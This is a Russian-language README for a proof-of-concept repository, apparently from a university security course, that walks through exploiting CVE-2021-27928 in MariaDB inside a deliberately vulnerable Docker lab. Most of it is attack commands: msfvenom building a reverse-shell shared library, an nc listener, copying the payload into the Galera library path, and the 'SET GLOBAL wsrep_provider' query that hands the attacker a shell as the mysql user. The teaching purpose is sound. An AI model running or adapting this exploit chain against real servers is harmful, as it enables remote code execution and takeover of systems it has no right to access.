
Proof of Concept для эксплуатации уязвимости CVE-2021-27928
В этом репозитории вы найдете proof of concept эксплуатации уязвимости CVE-2021-27928 через docker-контейнер.
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
Системные переменные wsrep_provider и wsrep_notify_cmd system могут быть изменены во время выполнения пользователем базы данных с привилегиями суперпользователя, что может привести к выполнению удаленного кода с этими привилегиями.
Первая переменная принимает путь к библиотеке .so, которую сервер попытается загрузить через dlopen(), а вторая — путь к shell-скрипту, который сервер выполнит. Возможность изменять их позволяет пользователю базы данных с привилегиями суперпользователя выполнять произвольный код от имени системного пользователя .
mysqlВ рамках данного proof of concept мы будем использовать msfvenom для генерации библиотеки .so, которая будет содержать нашу полезную нагрузку (в нашем случае — reverse shell). Затем мы скопируем этот файл на уязвимую машину и укажем этот путь в переменной wsrep_provider, которая выполнит нашу полезную нагрузку, предоставив нам доступ к целевой машине от имени пользователя с привилегиями суперпользователя (здесь пользователь mysql) благодаря нашему reverse shell.
Для этого эксперимента вам понадобятся установленные на вашей машине пакеты docker, msfvenom, openssh-client и mariadb.
В этой конфигурации целевая машина основана на образе MariaDB 10.4.12 (который уязвим к этой ошибке), на котором запущен openssh-сервер без разрешения входа для root. Поэтому мы создали для вас непривилегированного пользователя myuser с паролем mypassword.
Сборка уязвимого образа:
docker build --rm=true -t mariadb-cve-2021-27928 .
Запуск целевой машины:
docker compose up
Полезная нагрузка — это бинарный файл, который целевая машина должна выполнить после завершения эксплуатации. Здесь мы используем msfvenom для создания reverse shell в виде библиотеки .so, указав в качестве параметров наш IP-адрес (LHOST) и порт (LPORT). В другом терминале выполните:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
IP-адрес
LHOST— это адрес, указанный вdocker-compose.yamlдля сетевого шлюза, в нашем случае — атакующий, то есть вы.
В фоне, в третьем терминале, мы будем прослушивать входящие подключения от целевой машины на порту, к которому она должна подключиться.
nc -lnvp 4444
Порт, который мы прослушиваем,
4444, — это тот, который мы указали какLPORTпри создании полезной нагрузки.
Теперь нам нужно скопировать созданную ранее полезную нагрузку (payload-CVE-2021-27928.so) на целевую машину по ssh с помощью команды scp от имени непривилегированного системного пользователя myuser, пароль которого — mypassword:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
Поскольку мы не можем напрямую скопировать файл по ssh в /usr/lib, нам нужно подключиться к машине и переместить его в нужное место вручную (напомним, что пароль myuser — mypassword):
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
Мы могли бы загрузить полезную нагрузку в другой каталог под другим именем, например
/tmp/exploit.so, и передать этот путь как путь к полезной нагрузке, но поскольку эта уязвимость уже исправлена во всех пакетах mariadb, её эксплуатация потребовала некоторых корректировок, которые вы увидите в конце этой демонстрации.
Последний шаг — эксплуатация уязвимости MariaDB путём отправки запроса от имени дружелюбного непривилегированного системного пользователя, но компетентного администратора базы данных, которым мы являемся, с запросом на установку глобальной переменной wsrep_provider в путь к нашей полезной нагрузке.
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
Здесь
rootозначает «администратор» на уровне базы данных, а не системный пользователь root. Поэтому пароль здесь — тот, что указан в файлеdocker-compose.yaml,MYSQL_ROOT_PASSWORD: myrootpwd.
Наконец, если всё сработало как ожидалось, в терминале, где мы прослушивали входящие подключения, мы увидим, что целевая машина успешно подключилась к нам, и мы можем выполнять shell-команды. Приятного использования :)
Reverse shell не так удобен, как «классическая» оболочка: у вас нет автодополнения, приглашения оболочки и истории, поэтому следить за корректным выполнением команд придётся самостоятельно. Так, например, не стесняйтесь использовать
ls -la.
Вы можете выполнить
whoamiв оболочке netcat, чтобы убедиться, что вы — системный пользовательmysql!
Согласно Jira MariaDB, похоже, что практическое применение для изменения этих переменных во время выполнения практически отсутствует (или вовсе отсутствует); они используются только в тестах. После обнаружения этой уязвимости исправление заключалось в том, чтобы сделать их доступными только для чтения — это было простое и безопасное решение, ценой несколько более сложных тестовых скриптов.
Раньше это было не так, но теперь единственное значение пути, которое может принимать wsrep_provider, — это /usr/lib/galera/libgalera_smm.so, именно поэтому данный proof of concept потребовал некоторых корректировок, например предоставления прав на запись в каталог /usr/lib/galera, чтобы можно было загрузить нашу полезную нагрузку. Таким образом, в контексте этой демонстрации такая конфигурация намеренно уязвима, но на большинстве современных систем её больше нельзя использовать подобным образом.
Эта работа была выполнена в рамках курса по безопасности информационных систем, читаемого на последнем курсе специализации «Инженерия информационных систем» в Grenoble INP - Ensimag, UGA.